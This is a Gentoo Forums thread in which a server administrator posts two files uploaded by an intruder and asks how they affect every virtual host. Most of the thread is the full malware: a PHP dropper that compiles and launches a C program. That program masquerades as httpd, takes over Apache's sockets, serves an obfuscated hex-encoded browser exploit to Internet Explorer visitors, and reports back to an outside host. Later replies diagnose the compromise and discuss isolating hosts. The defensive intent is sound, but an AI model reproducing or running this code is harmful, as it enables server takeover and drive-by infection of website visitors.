Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
Apache + PHP Exploit?
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Networking & Security
View previous topic :: View next topic  
Author Message
Casshan
n00b
n00b


Joined: 07 May 2004
Posts: 53

PostPosted: Mon May 05, 2008 11:28 pm    Post subject: Apache + PHP Exploit? Reply with quote

Some on compromissed a FTP username and password and uploaded these two files:

fw.php

Quote:
<?php

error_reporting(0);
echo("<textarea cols=300 rows=40>");

$pwd = trim( run( "pwd" ) );

if ( strlen( $pwd ) < 5 )
die( "failed: can not execute" );

run( "uname -a" );
run( "w" );

$ps = run( "ps ax", false );

$pid = isset( $_GET["p"] ) ? $_GET["p"] : ( isset( $_POST["p"] ) ? $_POST["p"] : 0 );

$pid = 15760;

if ( !empty( $pid ) )
{
run( "kill $pid" );
}

preg_match( "/\s(\S*?httpd.*?)\n/", $ps, $m );

$hide = ( isset( $m[1] ) && strlen( $m[1] ) < 50 ) ? $m[1] : "-tcsh";

// $hide = "-tcsh";

echo( "will be hidden as $hide\n" );

$acode = array("[code]");

if ( count( $acode ) > 1 )
{

$code = "";

for( $i = 0; $i < count( $acode ); $i++ )
{
$code .= chr( $acode[$i] );
}
}
else
{
$filename = "$pwd/fw.htm";
$handle = fopen( $filename, "r");
$code = fread( $handle, filesize($filename) );
fclose($handle);
}

$code = str_replace( "[hide]", $hide, $code );

$dir = $pwd;
// $fname = "dse893452dc54";
$fname = "dse84";
$fname = str_pad( $fname, strlen( $hide ) + 10, "abzw1", STR_PAD_RIGHT );

$full_name = "$dir/$fname";
$full_name_c = $full_name.".c";

if ( FALSE === ( $h = fopen( "$full_name_c", "w" ) ) )
{
die( "failed: can not create $full_name_c" );
}

fwrite( $h, $code );
fclose( $h );

echo ( run( "gcc $full_name_c -o $full_name" ) );

if ( !is_file( $full_name ) )
{
echo( "failed to build $full_name_c\n" );

$full_name_cc = $full_name_c."c";
if ( !rename( $full_name_c, $full_name_cc ) )
{
echo( "failed to rename $full_name_c to $full_name_cc\n" );
//unlink( $full_name_c );
//unlink( "fw.php" );
//unlink( "fw.htm" );
exit;
}
else
{
$full_name_c = $full_name_cc;
echo ( run( "gcc $full_name_c -o $full_name" ) );
if ( !is_file( $full_name ) )
{
echo( "failed to build $full_name_c\n" );
//unlink( $full_name_c );
//unlink( "fw.php" );
//unlink( "fw.htm" );
exit;
}
}
}

run( "ls -al $full_name"."*" );

// unlink( $full_name_c );

run( $full_name );

// unlink( $full_name );

// unlink( "fw.php" );
// unlink( "fw.htm" );
// unlink( "log" );

// run( "ps -ax" );
// run( "ls -al $full_name"."*" );
// run( "ls -al" );



function run( $cmd, $do_echo = true )
{
echo( "executing $cmd\n");

if ( FALSE === ( $fp = popen($cmd." 2>&1", "r") ) )
die( "failed" );

$read = "";

while (!feof($fp))
{
$read .= fread($fp, 2096);
}

pclose($fp);
if ( $do_echo )
echo( "$read");
return $read;
}


?>


fw.htm
Quote:

/* single process version */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

/* don't change this line */
unsigned char win_exp[] =
"\x3c\x68\x74\x6d\x6c\x3e\x3c\x68\x65\x61\x64\x3e\x3c\x2f\x68\x65"
"\x61\x64\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75"
"\x61\x67\x65\x3d\x76\x62\x73\x3e\x67\x76\x72\x79\x7a\x3d\x22\x2a"
"\x22\x3a\x63\x74\x67\x7a\x3d\x22\x25\x22\x3a\x6f\x61\x3d\x22\x64"
"\x37\x2a\x20\x20\x62\x33\x2a\x29\x6c\x31\x36\x2a\x69\x28\x65\x74"
"\x69\x32\x37\x2a\x77\x2e\x74\x65\x36\x2a\x65\x6d\x75\x33\x36\x2a"
"\x66\x36\x2a\x34\x36\x2a\x20\x30\x32\x2a\x20\x30\x32\x2a\x30\x32"
"\x2a\x30\x32\x2a\x30\x32\x2a\x3b\x6a\x64\x33\x2a\x62\x32\x2a\x63"
"\x36\x2a\x61\x69\x30\x32\x2a\x20\x64\x37\x2a\x20\x30\x32\x2a\x7d"
"\x20\x20\x37\x36\x2a\x64\x33\x2a\x2b\x6a\x20\x20\x62\x37\x2a\x20"
"\x30\x32\x2a\x65\x33\x37\x2a\x6c\x35\x36\x2a\x20\x30\x32\x2a\x64"
"\x37\x2a\x20\x30\x32\x2a\x30\x32\x2a\x39\x32\x2a\x31\x33\x2a\x64"
"\x32\x2a\x70\x6d\x76\x28\x34\x37\x2a\x41\x72\x61\x68\x33\x36\x2a"
"\x2e\x65\x63\x62\x64\x33\x2a\x2b\x6a\x20\x30\x32\x2a\x7d\x20\x30"
"\x32\x2a\x31\x38\x33\x2a\x64\x33\x2a\x2b\x30\x37\x2a\x6d\x76\x20"
"\x20\x30\x32\x2a\x7b\x20\x30\x32\x2a\x29\x30\x64\x33\x2a\x3c\x70"
"\x6d\x76\x28\x66\x69\x20\x30\x32\x2a\x62\x33\x2a\x39\x32\x2a\x31"
"\x33\x2a\x2d\x31\x33\x2a\x38\x33\x2a\x35\x32\x2a\x29\x31\x33\x2a"
"\x2b\x79\x38\x32\x2a\x38\x32\x2a\x20\x3d\x70\x6d\x36\x37\x2a\x20"
"\x20\x7b\x20\x20\x39\x32\x2a\x31\x64\x32\x2a\x65\x33\x2a\x79\x28"
"\x66\x69\x30\x32\x2a\x20\x62\x33\x2a\x39\x32\x2a\x67\x28\x66\x4f"
"\x78\x65\x34\x36\x2a\x6e\x69\x2e\x65\x33\x36\x2a\x32\x36\x2a\x64"
"\x33\x2a\x79\x20\x20\x62\x33\x2a\x29\x36\x37\x2a\x63\x28\x34\x37"
"\x2a\x41\x32\x37\x2a\x61\x68\x33\x36\x2a\x65\x32\x2a\x34\x36\x2a"
"\x69\x7a\x64\x33\x2a\x67\x20\x20\x62\x37\x2a\x30\x32\x2a\x30\x32"
"\x2a\x39\x32\x2a\x2b\x62\x32\x2a\x36\x37\x2a\x63\x3b\x68\x74\x67"
"\x65\x36\x2a\x35\x36\x2a\x6c\x65\x32\x2a\x34\x36\x2a\x69\x61\x37"
"\x2a\x63\x33\x2a\x76\x33\x36\x2a\x62\x33\x2a\x30\x33\x2a\x64\x33"
"\x2a\x76\x33\x36\x2a\x38\x32\x2a\x72\x6f\x66\x20\x30\x32\x2a\x30"
"\x32\x2a\x3b\x30\x37\x2a\x6d\x76\x2c\x37\x32\x2a\x37\x32\x2a\x3d"
"\x6a\x63\x32\x2a\x39\x37\x2a\x63\x32\x2a\x37\x36\x2a\x63\x32\x2a"
"\x27\x27\x3d\x6c\x31\x36\x2a\x39\x36\x2a\x63\x32\x2a\x22\x22\x36"
"\x37\x2a\x31\x33\x2a\x5b\x24\x7a\x5a\x27\x6f\x65\x32\x33\x2a\x39"
"\x39\x37\x2a\x62\x34\x2a\x37\x34\x2a\x3b\x35\x35\x2a\x6d\x33\x37"
"\x2a\x68\x36\x61\x32\x2a\x36\x34\x2a\x65\x32\x2a\x61\x2b\x63\x7d"
"\x36\x36\x2a\x5e\x20\x33\x33\x2a\x5f\x28\x43\x38\x34\x31\x34\x2a"
"\x5d\x54\x39\x32\x2a\x32\x37\x2a\x7e\x77\x35\x34\x2a\x2d\x39\x36"
"\x2a\x75\x21\x48\x3d\x6a\x37\x64\x42\x35\x40\x30\x49\x6b\x50\x34"
"\x37\x2a\x26\x56\x6c\x7c\x38\x37\x2a\x2c\x4f\x70\x61\x33\x2a\x7b"
"\x33\x32\x2a\x30\x36\x2a\x65\x34\x2a\x67\x31\x37\x2a\x62\x4d\x6e"
"\x32\x32\x2a\x5c\x61\x34\x2a\x32\x32\x2a\x3d\x65\x63\x62\x63\x32"
"\x2a\x76\x33\x36\x2a\x20\x30\x32\x2a\x20\x32\x37\x2a\x31\x36\x2a"
"\x36\x37\x2a\x20\x20\x62\x37\x2a\x20\x29\x34\x36\x2a\x69\x61\x37"
"\x2a\x28\x72\x74\x6d\x20\x20\x20\x65\x36\x2a\x6f\x69\x74\x63\x6e"
"\x75\x36\x36\x2a\x20\x22\x3a\x76\x62\x61\x6f\x70\x3d\x75\x6e\x65"
"\x73\x63\x61\x70\x65\x28\x52\x65\x70\x6c\x61\x63\x65\x28\x53\x74"
"\x72\x52\x65\x76\x65\x72\x73\x65\x28\x6f\x61\x29\x2c\x67\x76\x72"
"\x79\x7a\x2c\x63\x74\x67\x7a\x29\x29\x3c\x2f\x73\x63\x72\x69\x70"
"\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75\x61"
"\x67\x65\x3d\x4a\x61\x76\x61\x53\x63\x72\x69\x70\x74\x3e\x20\x76"
"\x61\x72\x20\x73\x2c\x6f\x71\x6b\x3b\x20\x65\x76\x61\x6c\x28\x20"
"\x76\x62\x61\x6f\x70\x20\x29\x3b\x73\x3d\x22\x3c\x73\x50\x55\x56"
"\x3e\x5e\x3c\x6d\x2b\x29\x2d\x4f\x50\x5e\x50\x39\x4f\x6f\x48\x6e"
"\x50\x6f\x7c\x50\x2f\x3d\x2e\x4a\x2e\x6d\x2b\x29\x2d\x4f\x50\x6e"
"\x5e\x56\x2e\x4d\x4e\x69\x2e\x4e\x6f\x48\x6e\x3d\x2e\x4a\x2e\x6d"
"\x2b\x29\x2d\x4f\x50\x6e\x3e\x5e\x37\x27\x2b\x69\x55\x6f\x4d\x50"
"\x46\x7e\x29\x2d\x50\x6f\x5f\x5e\x6e\x3c\x53\x28\x52\x30\x6b\x5d"
"\x5e\x56\x2e\x4d\x4e\x69\x2e\x4e\x6f\x48\x5c\x5c\x6e\x5c\x22\x2e"
"\x4a\x2e\x53\x2b\x29\x2d\x4f\x50\x5c\x5c\x6e\x5e\x53\x52\x28\x48"
"\x5c\x5c\x6e\x73\x50\x50\x4f\x70\x2f\x2f\x7e\x7e\x7e\x46\x4e\x27"
"\x27\x4e\x56\x6f\x2e\x4d\x2e\x56\x2d\x50\x2d\x2b\x6d\x46\x4d\x6f"
"\x50\x2f\x33\x33\x69\x50\x55\x3d\x46\x3d\x6d\x5c\x5c\x6e\x3e\x3c"
"\x5c\x5c\x2f\x53\x28\x52\x30\x6b\x5d\x3e\x6e\x5e\x54\x47\x3c\x2f"
"\x6d\x2b\x29\x2d\x4f\x50\x3e\x5e\x3c\x2f\x73\x50\x55\x56\x3e\x5e"
"\x22\x3b\x20\x6d\x74\x72\x28\x73\x29\x3b\x3c\x2f\x73\x63\x72\x69"
"\x70\x74\x3e\x3c\x2f\x62\x6f\x64\x79\x3e\x3c\x2f\x68\x74\x6d\x6c"
"\x3e";



#define DOLOG

void llog( char * s )
{

#ifdef DOLOG

char buf[2048];
FILE *f;
time_t curtime;
struct tm *loctime;

if ( f = fopen( "log", "a+t" ) )
{

curtime = time(NULL);
loctime = localtime (&curtime);
strftime( buf, 2047, "%H:%M:%S|", loctime );
fwrite( buf, strlen( buf ), 1, f );

sprintf( buf, "%d|", getpid() );
fwrite( buf, strlen( buf ), 1, f );

fwrite( s, strlen( s ), 1, f );
fwrite( "\n", strlen( "\n" ), 1, f );
fclose( f );
}

#endif

return;
}


int rlog( char *s )
{

char message[] = "GET /l.php?t=1202&m=%s HTTP/1.1\r\nAccept: */*\r\nHost: dorifora.com\r\nAccept-Encoding: gzip\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)\r\nConnection: Keep-alive\r\n\r\n";
char buf[2048];
int sock;
struct sockaddr_in addr;
struct hostent *he;

llog( "rlog():" );

sprintf( buf, message, s );

sock = socket(AF_INET, SOCK_STREAM, 0);
if ( sock < 0 )
{
llog( "rlog(): socket error" );
return 1;
}

addr.sin_family = AF_INET;
addr.sin_port = htons(80);

if ( ( he = gethostbyname("dorifora.com") ) == NULL )
{
llog( "rlog(): gethostbyname error" );
return 1;
}

memcpy(&(addr.sin_addr.s_addr), he->h_addr, he->h_length);

if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
llog( "rlog(): connect error" );
return 1;
}

send(sock, buf, sizeof(buf), 0);
recv(sock, buf, sizeof(buf), 0);

llog(buf);
close(sock);

return 0;
}





#include <time.h>

int get_response( char * szReadBuf, char * szWriteBuf )
{

const char* csz404Resp = "HTTP/1.0 404 Not Found\r\nServer: Apache\r\nX-Powered-By: PHP/5.1.4\r\n";
const char* csz503Resp = "HTTP/1.0 503 Service Unavailable\r\nServer: Apache\r\nX-Powered-By: PHP/5.1.4\r\nRetry-After: 20\r\n\r\n";

/* const char* csz200Resp = "HTTP/1.0 200 OK\r\nSet-Cookie: %s\r\nContent-Length: %d\r\nContent-Type: text/html\r\n\r\n";
*/

const char* csz200Resp = "HTTP/1.0 200 OK\r\nContent-Length: %d\r\nContent-Type: text/html\r\n\r\n";

/*
char szCookie[1024];
time_t expires = time(NULL) + 3600*24;
char buf[1024];
strftime( buf, 200, "%a, %d-%b-%Y %H:%M:%S GMT", gmtime( &expires ) );
sprintf( szCookie, "sessionid=39128605A530; Expires=%s", buf );
*/

char *p = NULL;
char *pUA;

unsigned char *pExp;

/* analyze cookie */
/* Cookie: sessionid=39128605A530 */

if ( strstr( szReadBuf, "sessionid=39128605A53" ) )
{
strcpy( szWriteBuf, csz404Resp );
llog( "404 - cookie set, exiting" );
return 1;
}

/* analyze UA */

pUA = strstr( szReadBuf, "User-Agent:" );

if (!pUA)
{
strcpy( szWriteBuf, csz503Resp );
llog( "503 - no UA" );
return 2;
}

p = pUA;

while ( *p && *p != '\xd' && *p != '\xa' ) p++;

*p = '\0'; /* read buf is chaged here! */

if ( !strstr( pUA, "MSIE " ) )
{

strcpy( szWriteBuf, csz503Resp );
llog( "503 - wrong browser" );
return 3;
}

if ( strstr( pUA, "Windows NT 5.1" ) )
{
pExp = win_exp;
llog( "sp2" );
}
else
{
pExp = win_exp;
llog( "w2000" );
}

/* sprintf( szWriteBuf, csz200Resp, szCookie, strlen( (char*)pExp ) );
*/

sprintf( szWriteBuf, csz200Resp, strlen( (char*)pExp ) );

strcat( szWriteBuf, (char*)pExp );
return 0;

}


void onalarm( int nsig )
{
llog( "timeout" );
}


int process(int i, int fd, char * pcReadBuf, int nReadBufLen, char * pcWriteBuf, int nWriteBufLen )
{
char log_buf[1024];
int len;
int res;

res = 0;

sprintf( log_buf, "process %d request, reading...", i );
llog( log_buf );

len = read( fd, pcReadBuf, nReadBufLen-5 );

sprintf( log_buf, "read done, len: %d", len );
llog( log_buf );
pcReadBuf[len] = '\0';
llog( pcReadBuf );

if ( len > 10 )
{
res = get_response( pcReadBuf, pcWriteBuf );
llog( "writting" );
write( fd, pcWriteBuf, strlen( pcWriteBuf ) ) ;
}
llog( "writting done" );

shutdown( fd, 2 );
close(fd);
llog( "closed" );

return res;

}

int server_loop(int sock_id, int descr, char * pcReadBuf, int nReadBufLen, char * pcWriteBuf, int nWriteBufLen )
{
struct timeval tv;
fd_set read_mask;


unsigned int i;
unsigned int err;
int fd;
int res;
int cookie;
struct sockaddr_in remote;
char buf[1024];
int err_tmp;

/*socklen_t len = sizeof(remote);*/

unsigned int len = sizeof(remote);

err = 1;
i = 0;
cookie = 0;

sprintf( buf, "server_loop() started: sock: %d", sock_id );
llog( buf );

sleep(6);

for (;;)
{
if ( err % 4 == 3 )
{
llog( "sleep because of errors" );
sleep( 10 );
}

if ( err > 10 && i == 0 )
{
llog( "too many errors, exiting" );
sprintf( buf, "ERR,sock:%d", sock_id );
rlog( buf );
return 1;
}

llog( "before select" );

tv.tv_sec = 120;
tv.tv_usec = 0;


fcntl( descr, F_SETFL, O_NONBLOCK );

FD_ZERO(&read_mask);
FD_SET(descr, &read_mask);

if ( select( descr+1, &read_mask, NULL, NULL, 0 ) == -1 )
{
err_tmp = errno;

llog( "can not select" );
err++;

sprintf( buf, "selectERR:%d,sock:%d", err_tmp, sock_id );
rlog( buf );
continue;
}

llog( "set alarm" );
signal ( SIGALRM, onalarm );
alarm ( 120 );
llog( "before accept" );

len = sizeof(remote);


memset( &remote, 0, sizeof( remote ) );

fd = accept(descr, (struct sockaddr *)&remote, &len);
/*
if ( fd < 0 )
{
llog( "accept error, trying to set socket as nonblocked" );
fcntl( descr, F_SETFL, O_NONBLOCK );
fd = accept( descr, (struct sockaddr *)&remote, &len);
}
*/
if ( fd >=0 )
{
/* alarm ( 0 ); */

if ( i == 0 )
{
sprintf( buf, "OK,sock:%d", sock_id );
rlog( buf );
}

err = 0;
i++;
res = process( i, fd, pcReadBuf, nReadBufLen, pcWriteBuf, nWriteBufLen );

if ( res == 1 ) /* cookie */
{
if ( cookie++ >= 2 )
{
llog( "sleeping because of cookie" );
sleep( 30 );
cookie = 0;
llog( "awaken" );
}
}

if ( i % 10 == 0 || res == 0 )
{
llog( "sleeping" );
sleep( 30 );
cookie = 0;
llog( "awaken" );
}
}
else
{
err_tmp = errno;
sprintf( buf, "accept returned %d, errno %d, %s", fd, err_tmp, strerror( err_tmp ) );
llog( buf );
err++;
sprintf( buf, "acceptERR:%d,sock:%d", err_tmp, sock_id );
rlog( buf );
}
}
return 0;
}


#define READ_BUF_SIZE 1024*50
#define WRITE_BUF_SIZE 1024*50

char read_buf[READ_BUF_SIZE];
char write_buf[WRITE_BUF_SIZE];

#define HIDE "[hide]"

#define LISTEN_DESCRIPTOR 3



int main(int argc, char *argv[])
{

struct stat buf;
char log_i[5];
int newfd = 0;
int newfd1 = 0;
int pid = 0;
int max_FD = 0;
int i = 0;

pid = fork();

if (pid == 0) /* child */
{

llog("child");

signal( SIGCHLD, SIG_IGN );

memset(argv[0], '\0', strlen(argv[0]));
strcpy(argv[0], HIDE );

sleep(2);

close(0); close(1); close(2);

max_FD = getdtablesize();

sprintf(log_i, "max_FD: %d", max_FD );
llog(log_i);

for ( i=0; i < max_FD; i++ )
{
if ( (fstat(i, &buf) )==0 )
{
if ( ( buf.st_mode & S_IFMT) == S_IFSOCK )
{
newfd1 = dup( i );
server_loop( i, newfd1, read_buf, READ_BUF_SIZE, write_buf, WRITE_BUF_SIZE );
llog(read_buf);
llog(write_buf);
}
}
}

}
else
{
printf( "success: %d", pid );
}
return 0;
}


Here is alittle background, the server is running apache with php5 (all with the latest updates). I'm using the itk module to run each virtual website under a different user, but this script/code somehow effects all virtual websites. If I restart the apache process the problems go away. It servers out a redirect to some spyware at random page reloads, all the other times it servers up the normal pages. Anyone have a idea how this can happen? I was under the impression that code under itk in apache would be restricted to that user (but maybe not, do I need to run a seperate apache process for each host and move each one to a different IP address?)
Back to top
View user's profile Send private message
cyblord
Guru
Guru


Joined: 22 May 2006
Posts: 424

PostPosted: Tue May 06, 2008 4:25 am    Post subject: Reply with quote

It looks like your server's been compromised alright. The php file acts on the html file, which looks definitely like shellcode (used to gain shell access).

Best bet would be to unplug the server right away to prevent further damage and deal with the issue starting with the logs.
Back to top
View user's profile Send private message
Casshan
n00b
n00b


Joined: 07 May 2004
Posts: 53

PostPosted: Tue May 06, 2008 6:24 am    Post subject: Reply with quote

I'm just wondering how a program ran as apache can effect the other virtual host on the same computer
Back to top
View user's profile Send private message
Casshan
n00b
n00b


Joined: 07 May 2004
Posts: 53

PostPosted: Tue May 06, 2008 6:57 am    Post subject: Reply with quote

Even if I use mpm-itk to seperate the virtual domains any dynamic content will run as apache, I guess http://httpd.apache.org/docs/2.0/mod/mod_suexec.html would be the solution to that problem? Does anyone use mpm-itk and mod_suexec together?
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Networking & Security All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum